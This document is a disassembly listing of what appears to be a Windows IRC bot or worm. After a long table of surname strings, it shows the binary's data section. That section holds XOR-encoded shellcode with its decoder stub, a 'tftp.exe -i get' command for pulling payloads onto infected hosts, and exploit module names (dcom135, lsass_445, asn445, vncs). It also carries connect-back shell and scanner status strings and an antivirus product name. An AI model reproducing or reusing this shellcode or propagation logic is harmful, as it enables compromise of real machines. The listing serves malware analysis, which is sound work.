aBurridge db 'Burridge',0 ; DATA XREF: ___:0042DC3Co
align 4
aBurke db 'Burke',0 ; DATA XREF: ___:0042DC38o
align 4
aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042DC34o
align 4
aBurden db 'Burden',0 ; DATA XREF: ___:0042DC30o
align 4
aBunton db 'Bunton',0 ; DATA XREF: ___:0042DC2Co
align 4
aBullard db 'Bullard',0 ; DATA XREF: ___:0042DC28o
aBudding db 'Budding',0 ; DATA XREF: ___:0042DC24o
aBuchan db 'Buchan',0 ; DATA XREF: ___:0042DC20o
align 4
aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042DC1Co
aBrook db 'Brook',0 ; DATA XREF: ___:0042DC18o
align 4
aBroca db 'Broca',0 ; DATA XREF: ___:0042DC14o
align 4
aBritz db 'Britz',0 ; DATA XREF: ___:0042DC10o
align 4
aBrinton db 'Brinton',0 ; DATA XREF: ___:0042DC0Co
aBridges db 'Bridges',0 ; DATA XREF: ___:0042DC08o
aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042DC04o
align 4
aBrewer db 'Brewer',0 ; DATA XREF: ___:0042DBFCo
; ___:0042DC00o
align 10h
aBrennan db 'Brennan',0 ; DATA XREF: ___:0042DBF8o
aBrenan db 'Brenan',0 ; DATA XREF: ___:0042DBF4o
align 10h
aBreed db 'Breed',0 ; DATA XREF: ___:0042DBF0o
align 4
aBrecht db 'Brecht',0 ; DATA XREF: ___:0042DBECo
align 10h
aBradach db 'Bradach',0 ; DATA XREF: ___:0042DBE8o
aBradac db 'Bradac',0 ; DATA XREF: ___:0042DBE4o
align 10h
aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042DBE0o
align 4
aBoyne db 'Boyne',0 ; DATA XREF: ___:0042DBDCo
align 4
aBoym db 'Boym',0 ; DATA XREF: ___:0042DBD8o
align 4
aBoyland db 'Boyland',0 ; DATA XREF: ___:0042DBD4o
aBoyes db 'Boyes',0 ; DATA XREF: ___:0042DBD0o
align 4
aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042DBCCo
align 4
aBoxer db 'Boxer',0 ; DATA XREF: ___:0042DBC8o
align 10h
aBowers db 'Bowers',0 ; DATA XREF: ___:0042DBC4o
align 4
aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042DBC0o
align 4
aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042DBBCo
aBoudin db 'Boudin',0 ; DATA XREF: ___:0042DBB8o
align 4
aBotosh db 'Botosh',0 ; DATA XREF: ___:0042DBB4o
align 4
aBothman db 'Bothman',0 ; DATA XREF: ___:0042DBB0o
aBossi db 'Bossi',0 ; DATA XREF: ___:0042DBACo
align 4
aBorden db 'Borden',0 ; DATA XREF: ___:0042DBA8o
align 4
aBorack db 'Borack',0 ; DATA XREF: ___:0042DBA4o
align 4
aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042DBA0o
align 4
aBoone db 'Boone',0 ; DATA XREF: ___:0042DB9Co
align 10h
aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042DB98o
align 4
aBook db 'Book',0 ; DATA XREF: ___:0042DB94o
align 4
aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042DB90o
align 10h
aBoniface db 'Boniface',0 ; DATA XREF: ___:0042DB8Co
align 4
aBonham db 'Bonham',0 ; DATA XREF: ___:0042DB88o
align 4
aBoner db 'Boner',0 ; DATA XREF: ___:0042DB84o
align 4
aBologna db 'Bologna',0 ; DATA XREF: ___:0042DB80o
aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042DB7Co
align 10h
aBolick db 'Bolick',0 ; DATA XREF: ___:0042DB78o
align 4
aBolger db 'Bolger',0 ; DATA XREF: ___:0042DB74o
align 10h
aBlyth db 'Blyth',0 ; DATA XREF: ___:0042DB70o
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042DB6Co
aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042DB68o
align 4
aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042DB64o
aBloch db 'Bloch',0 ; DATA XREF: ___:0042DB60o
align 10h
aBlizard db 'Blizard',0 ; DATA XREF: ___:0042DB5Co
aBliss db 'Bliss',0 ; DATA XREF: ___:0042DB58o
align 10h
aBlanke db 'Blanke',0 ; DATA XREF: ___:0042DB54o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042DB50o
align 4
aBlagg db 'Blagg',0 ; DATA XREF: ___:0042DB4Co
align 4
aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042DB48o
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042DB44o
align 4
aBisho db 'Bisho',0 ; DATA XREF: ___:0042DB40o
align 4
aBisema db 'Bisema',0 ; DATA XREF: ___:0042DB3Co
align 4
aBir db 'Bir',0 ; DATA XREF: ___:0042DB38o
aBinion db 'Binion',0 ; DATA XREF: ___:0042DB34o
align 10h
aBickel db 'Bickel',0 ; DATA XREF: ___:0042DB30o
align 4
aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042DB2Co
align 4
aBeynart db 'Beynart',0 ; DATA XREF: ___:0042DB28o
aBetti db 'Betti',0 ; DATA XREF: ___:0042DB24o
align 4
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042DB20o
align 4
aBernston db 'Bernston',0 ; DATA XREF: ___:0042DB1Co
align 10h
aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042DB18o
align 4
aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042DB14o
align 4
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042DB10o
align 4
aBergson db 'Bergson',0 ; DATA XREF: ___:0042DB0Co
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042DB08o
align 10h
aBelloc db 'Belloc',0 ; DATA XREF: ___:0042DB04o
align 4
aBellini db 'Bellini',0 ; DATA XREF: ___:0042DB00o
aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042DAFCo
align 4
aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042DAF8o
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042DAF4o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: ___:0042DAF0o
align 10h
aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042DAECo
align 4
aBelanger db 'Belanger',0 ; DATA XREF: ___:0042DAE8o
align 4
aBehenna db 'Behenna',0 ; DATA XREF: ___:0042DAE4o
aBedford db 'Bedford',0 ; DATA XREF: ___:0042DAE0o
aBeder db 'Beder',0 ; DATA XREF: ___:0042DADCo
align 10h
aBeckman db 'Beckman',0 ; DATA XREF: ___:0042DAD8o
aBean db 'Bean',0 ; DATA XREF: ___:0042DAD4o
align 10h
aBeal db 'Beal',0 ; DATA XREF: ___:0042DAD0o
align 4
aBeacon db 'Beacon',0 ; DATA XREF: ___:0042DACCo
align 10h
aBayo db 'Bayo',0 ; DATA XREF: ___:0042DAC8o
align 4
aBayles db 'Bayles',0 ; DATA XREF: ___:0042DAC4o
align 10h
aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042DAC0o
align 4
aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042DABCo
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042DAB8o
align 4
aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042DAB4o
align 10h
aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042DAB0o
align 4
aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042DAACo
align 4
aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042DAA8o
aBarry db 'Barry',0 ; DATA XREF: ___:0042DAA4o
align 4
aBarriola db 'Barriola',0 ; DATA XREF: ___:0042DAA0o
align 4
aBarnett db 'Barnett',0 ; DATA XREF: ___:0042DA9Co
aBarneson db 'Barneson',0 ; DATA XREF: ___:0042DA98o
align 4
aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042DA94o
align 4
aBarberi db 'Barberi',0 ; DATA XREF: ___:0042DA90o
aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042DA8Co
align 4
aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042DA88o
align 4
aBarajas db 'Barajas',0 ; DATA XREF: ___:0042DA84o
aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042DA80o
align 4
aBanta db 'Banta',0 ; DATA XREF: ___:0042DA7Co
align 10h
aBaltz db 'Baltz',0 ; DATA XREF: ___:0042DA78o
align 4
aBallew db 'Ballew',0 ; DATA XREF: ___:0042DA74o
align 10h
aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042DA70o
align 4
aBaleja db 'Baleja',0 ; DATA XREF: ___:0042DA6Co
align 4
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042DA68o
align 10h
aBailar db 'Bailar',0 ; DATA XREF: ___:0042DA64o
align 4
aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042DA60o
aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042DA5Co
aBady db 'Bady',0 ; DATA XREF: ___:0042DA58o
align 10h
aBackus db 'Backus',0 ; DATA XREF: ___:0042DA54o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042DA50o
align 4
aAzima db 'Azima',0 ; DATA XREF: ___:0042DA4Co
align 4
aAyling db 'Ayling',0 ; DATA XREF: ___:0042DA48o
align 4
aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042DA44o
aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042DA40o
aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042DA3Co
align 10h
aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042DA38o
aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042DA34o
align 4
aAugustus db 'Augustus',0 ; DATA XREF: ___:0042DA30o
align 10h
aAtkins db 'Atkins',0 ; DATA XREF: ___:0042DA2Co
align 4
aArky db 'Arky',0 ; DATA XREF: ___:0042DA28o
align 10h
aArjas db 'Arjas',0 ; DATA XREF: ___:0042DA24o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042DA20o
align 4
aArellano db 'Arellano',0 ; DATA XREF: ___:0042DA1Co
align 10h
aArduini db 'Arduini',0 ; DATA XREF: ___:0042DA18o
aArbia db 'Arbia',0 ; DATA XREF: ___:0042DA14o
align 10h
aAntos db 'Antos',0 ; DATA XREF: ___:0042DA10o
align 4
aAnthony db 'Anthony',0 ; DATA XREF: ___:0042DA0Co
aAnsley db 'Ansley',0 ; DATA XREF: ___:0042DA08o
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042DA04o
align 4
aAndron db 'Andron',0 ; DATA XREF: ___:0042DA00o
align 4
aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D9FCo
align 4
aAndo db 'Ando',0 ; DATA XREF: ___:0042D9F8o
align 10h
aAndel db 'Andel',0 ; DATA XREF: ___:0042D9F4o
align 4
aAnand db 'Anand',0 ; DATA XREF: ___:0042D9F0o
align 10h
aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D9ECo
align 4
aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D9E8o
align 10h
aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D9E4o
align 4
aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D9E0o
align 4
aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D9DCo
align 10h
aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D9D8o
aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D9D4o
align 4
aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D9D0o
align 10h
aAllison db 'Allison',0 ; DATA XREF: ___:0042D9CCo
aAleks db 'Aleks',0 ; DATA XREF: ___:0042D9C8o
align 10h
aAlda db 'Alda',0 ; DATA XREF: ___:0042D9C4o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D9C0o
align 10h
aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D9BCo
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D9B8o
align 10h
aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D9B4o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D9B0o
align 10h
aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D9ACo
align 4
aAddison db 'Addison',0 ; DATA XREF: ___:off_42D9A8o
aAdams db 'Adams',0 ; DATA XREF: ___:0042D9A4o
align 4
aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D9A0o
align 4
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D99Co
align 4
byte_4315F4 db 50h ; DATA XREF: ___:0040ABE6o
; ___:0040ABF3r
db 43h, 2 dup(0)
dword_4315F8 dd 7C7325h ; DATA XREF: ___:0040AC91o
dword_4315FC dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AD9Bo
dword_431604 dd 3F3F3Fh ; DATA XREF: ___:loc_40AD92o
; sub_41AF8F:loc_41B052o
dword_431608 dd 334B32h ; DATA XREF: ___:0040AD8Bo
dword_43160C dd 5058h ; DATA XREF: ___:0040AD7Do
; ___:0040AF89o ...
dword_431610 dd 4B32h ; DATA XREF: ___:0040AD6Do
; ___:0040AF79o ...
dword_431614 dd 454Dh ; DATA XREF: ___:0040AD54o
; ___:0040AF60o ...
dword_431618 dd 3839h ; DATA XREF: ___:0040AD44o
; ___:0040AF50o ...
dword_43161C dd 544Eh ; DATA XREF: ___:0040AD34o
; ___:0040AF41o ...
dword_431620 dd 3539h ; DATA XREF: ___:0040AD26o
; ___:0040AF33o ...
dword_431624 dd 5D64255Bh, 7325h ; DATA XREF: sub_40ADE1+3Ao
off_43162C dd offset loc_5D4D5B ; DATA XREF: sub_40ADE1+2Co
; sub_40ADE1+57o
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40ADE1+18o
; sub_41875E+5o
align 4
aSSSS db '%s|%s|%s|%s|',0 ; DATA XREF: ___:0040B0D6o
align 4
a99 db '99',0 ; DATA XREF: ___:loc_40B098o
align 4
a0D db '0%d',0 ; DATA XREF: ___:0040B072o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: ___:0040B054o
; sub_41ADD8+52o
off_43165C dd offset byte_4B4E55 ; DATA XREF: ___:0040B037o
dword_431660 dd 345053h ; DATA XREF: ___:0040B02Do
dword_431664 dd 34h ; DATA XREF: ___:0040B021o
dword_431668 dd 335053h ; DATA XREF: ___:0040B014o
dword_43166C dd 33h ; DATA XREF: ___:0040B003o
dword_431670 dd 325053h ; DATA XREF: ___:0040AFF6o
dword_431674 dd 32h ; DATA XREF: ___:0040AFE5o
; =============== S U B R O U T I N E =======================================
sub_431678 proc near ; DATA XREF: ___:0040AFD8o
push ebx
push eax
xor [eax], eax
sub_431678 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dword_43167C dd 305053h ; DATA XREF: ___:0040AFBAo
dword_431680 dd 4E55h ; DATA XREF: ___:loc_40AF9Eo
dword_431684 dd 3332h ; DATA XREF: ___:0040AF97o
; ---------------------------------------------------------------------------
loc_431688: ; DATA XREF: sub_40B2B3+C4o
jmp short loc_43168C
; ---------------------------------------------------------------------------
loc_43168A: ; CODE XREF: ___:loc_43168Cp
jmp short loc_431691
; ---------------------------------------------------------------------------
loc_43168C: ; CODE XREF: ___:loc_431688j
call loc_43168A
loc_431691: ; CODE XREF: ___:loc_43168Aj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_431696 dw 0FFFFh ; DATA XREF: sub_40B2B3+CCw
db 80h, 73h, 0Eh
byte_43169B db 0FFh ; DATA XREF: sub_40B2B3+D3w
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_4316A0: ; DATA XREF: sub_40B2B3+A2o
jmp short loc_4316A4
; ---------------------------------------------------------------------------
loc_4316A2: ; CODE XREF: ___:loc_4316A4p
jmp short loc_4316A9
; ---------------------------------------------------------------------------
loc_4316A4: ; CODE XREF: ___:loc_4316A0j
call loc_4316A2
loc_4316A9: ; CODE XREF: ___:loc_4316A2j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_4316AD db 0FFh ; DATA XREF: sub_40B2B3+AAw
dw 7380h
db 0Ch
byte_4316B1 db 0FFh ; DATA XREF: sub_40B2B3+B0w
dw 0E243h
dd 0F9h
dword_4316B8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_40B13C+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43171C dd 12h ; DATA XREF: sub_40B13C+3Dw
aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_40B13C+79o
aJ_0 db 'j',0
db 0E8h
dword_431735 dd 17h ; DATA XREF: sub_40B13C+4Dw
; ---------------------------------------------------------------------------
jnz short near ptr byte_43173C
retn
; ---------------------------------------------------------------------------
byte_43173C db 0E8h ; CODE XREF: ___:00431739j
dword_43173D dd 1 ; DATA XREF: sub_40B13C+45w
byte_431741 db 0, 6Ah, 0 ; DATA XREF: sub_40B13C+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_43174B dd 0FFFFFFEDh ; DATA XREF: sub_40B13C+5Dw
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o
align 4
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o
align 10h
aSym db 'sym',0 ; DATA XREF: sub_40C3E8+169o
dd 0
db 2 dup(0)
aSymantec db 'Symantec',0 ; DATA XREF: sub_40BA9E+30o
; ___:0040E229o ...
align 4
dd 5 dup(0)
dword_4317F8 dd 0B97h ; DATA XREF: sub_401ACD+1D42r
; sub_401ACD+1D6Ao ...
off_4317FC dd offset sub_40EAE9 ; DATA XREF: sub_40C3E8+1EAr
dword_431800 dd 0 ; DATA XREF: sub_40B90E+2Eo
; ___:0040D759w ...
dword_431804 dd 1 ; DATA XREF: sub_40BD91+1Fr
dword_431808 dd 1 ; DATA XREF: sub_40BD91+3B3r
dword_43180C dd 0 ; DATA XREF: sub_40BD91+292r
aDcom135 db 'dcom135',0
dd 63440000h, 33316D6Fh, 35h, 5 dup(0)
dd 87h, 40DF4Ch, 0
dd 1, 2 dup(0)
dd 636E76h, 0
dd 6E760000h, 63h, 6 dup(0)
dd 170Ch, 40EC1Fh, 0
dd 2 dup(1), 0
aAsn445 db 'asn445',0
align 4
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40D59Dh, 0
dd 2 dup(1), 0
aAsn139 db 'asn139',0
align 4
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 40D59Dh, 0
dd 2 dup(1), 0
aVncs db 'vncs',0
align 4
dd 54480000h, 562D5054h, 434Eh, 5 dup(0)
dd 170Ch, 41B6A1h, 4 dup(0)
aLsass_445 db 'lsass_445',0
aLsass_445_0 db 'lsass_445',0
dd 5 dup(0)
dd 1BDh, 40E830h, 0
dd 2 dup(1), 2 dup(0)
dd 10100h, 0Eh dup(0)
aAsn445_0 db 'asn445',0
align 4
db 2 dup(0)
byte_4319DA db 1 ; DATA XREF: sub_401ACD:loc_403789r
; sub_401ACD+1CC6o
db 73h
dd 6D79h, 0
dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_431A06
; =============== S U B R O U T I N E =======================================
sub_4319F6 proc near ; CODE XREF: sub_4319F6:loc_431A06p
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_4319FE: ; CODE XREF: sub_4319F6+Cj
xor byte ptr [edx+ecx], 99h
loop loc_4319FE
jmp short loc_431A0B
; ---------------------------------------------------------------------------
loc_431A06: ; CODE XREF: ___:004319F4j
call sub_4319F6
loc_431A0B: ; CODE XREF: sub_4319F6+Ej
jo short near ptr dword_431994+12h
cwde
cdq
cdq
retn
sub_4319F6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o
align 4
dword_431B88 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B90E+46o
unk_431B94 db 2Dh ; - ; DATA XREF: sub_40B90E+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
unk_431BB4 db 2Dh ; - ; DATA XREF: sub_40B9DD+38o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
unk_431BFC db 2Dh ; - ; DATA XREF: sub_40BA49+22o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 4
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BA9E+7Fo
dword_431C38 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o
dword_431C48 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh
; DATA XREF: sub_40BA9E+14o
dd 7473694Ch, 3Ah
unk_431C64 db 2Dh ; - ; DATA XREF: ___:0040BCD7o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
unk_431C98 db 2Dh ; - ; DATA XREF: ___:0040BBE5o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 4
unk_431CC8 db 2Dh ; - ; DATA XREF: sub_40BD1A+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 4
unk_431CE8 db 2Dh ; - ; DATA XREF: sub_40BD1A+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
unk_431D04 db 2Dh ; - ; DATA XREF: sub_40BD91+4B7o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_30 db ' Failed to start server, error: <%d>.',0
align 4
unk_431D38 db 2Dh ; - ; DATA XREF: sub_40BD91+38Fo
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_31 db '- Failed to start server, error: <%d>.',0
unk_431D70 db 2Dh ; - ; DATA XREF: sub_40BD91+321o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_2 db '- Server started on Port: %d.',0
align 10h
unk_431DA0 db 2Dh ; - ; DATA XREF: sub_40BD91+26Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_32 db 'Failed to start server, error: <%d>.',0
align 4
unk_431DD4 db 2Dh ; - ; DATA XREF: sub_40BD91+1FEo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 4
unk_431E08 db 2Dh ; - ; DATA XREF: sub_40BD91+148o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_33 db ' Failed to start server, error: <%d>.',0
align 4
unk_431E3C db 2Dh ; - ; DATA XREF: sub_40C3E8+EEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
unk_431E64 db 2Dh ; - ; DATA XREF: sub_40C3E8+93o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431E9C db 2Dh ; - ; DATA XREF: sub_40C3E8+3E6o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_431EDC db 2Dh ; - ; DATA XREF: sub_40C3E8+38Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_431F14 db 2Dh ; - ; DATA XREF: sub_40C3E8+31Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431F48 db 2Dh ; - ; DATA XREF: sub_40C3E8+29Fo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 4
dword_431F7C dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h
; DATA XREF: sub_40C85F+92o
dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 4
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CD9E+B2o
align 10h
dword_432030 dd 10FF8h, 0 ; DATA XREF: sub_40CD9E+6Ao
dword_432038 dd 10FF8h ; DATA XREF: sub_40CD9E+79o
dword_43203C dd 7FFDF020h, 0 ; DATA XREF: sub_40CD9E+162o
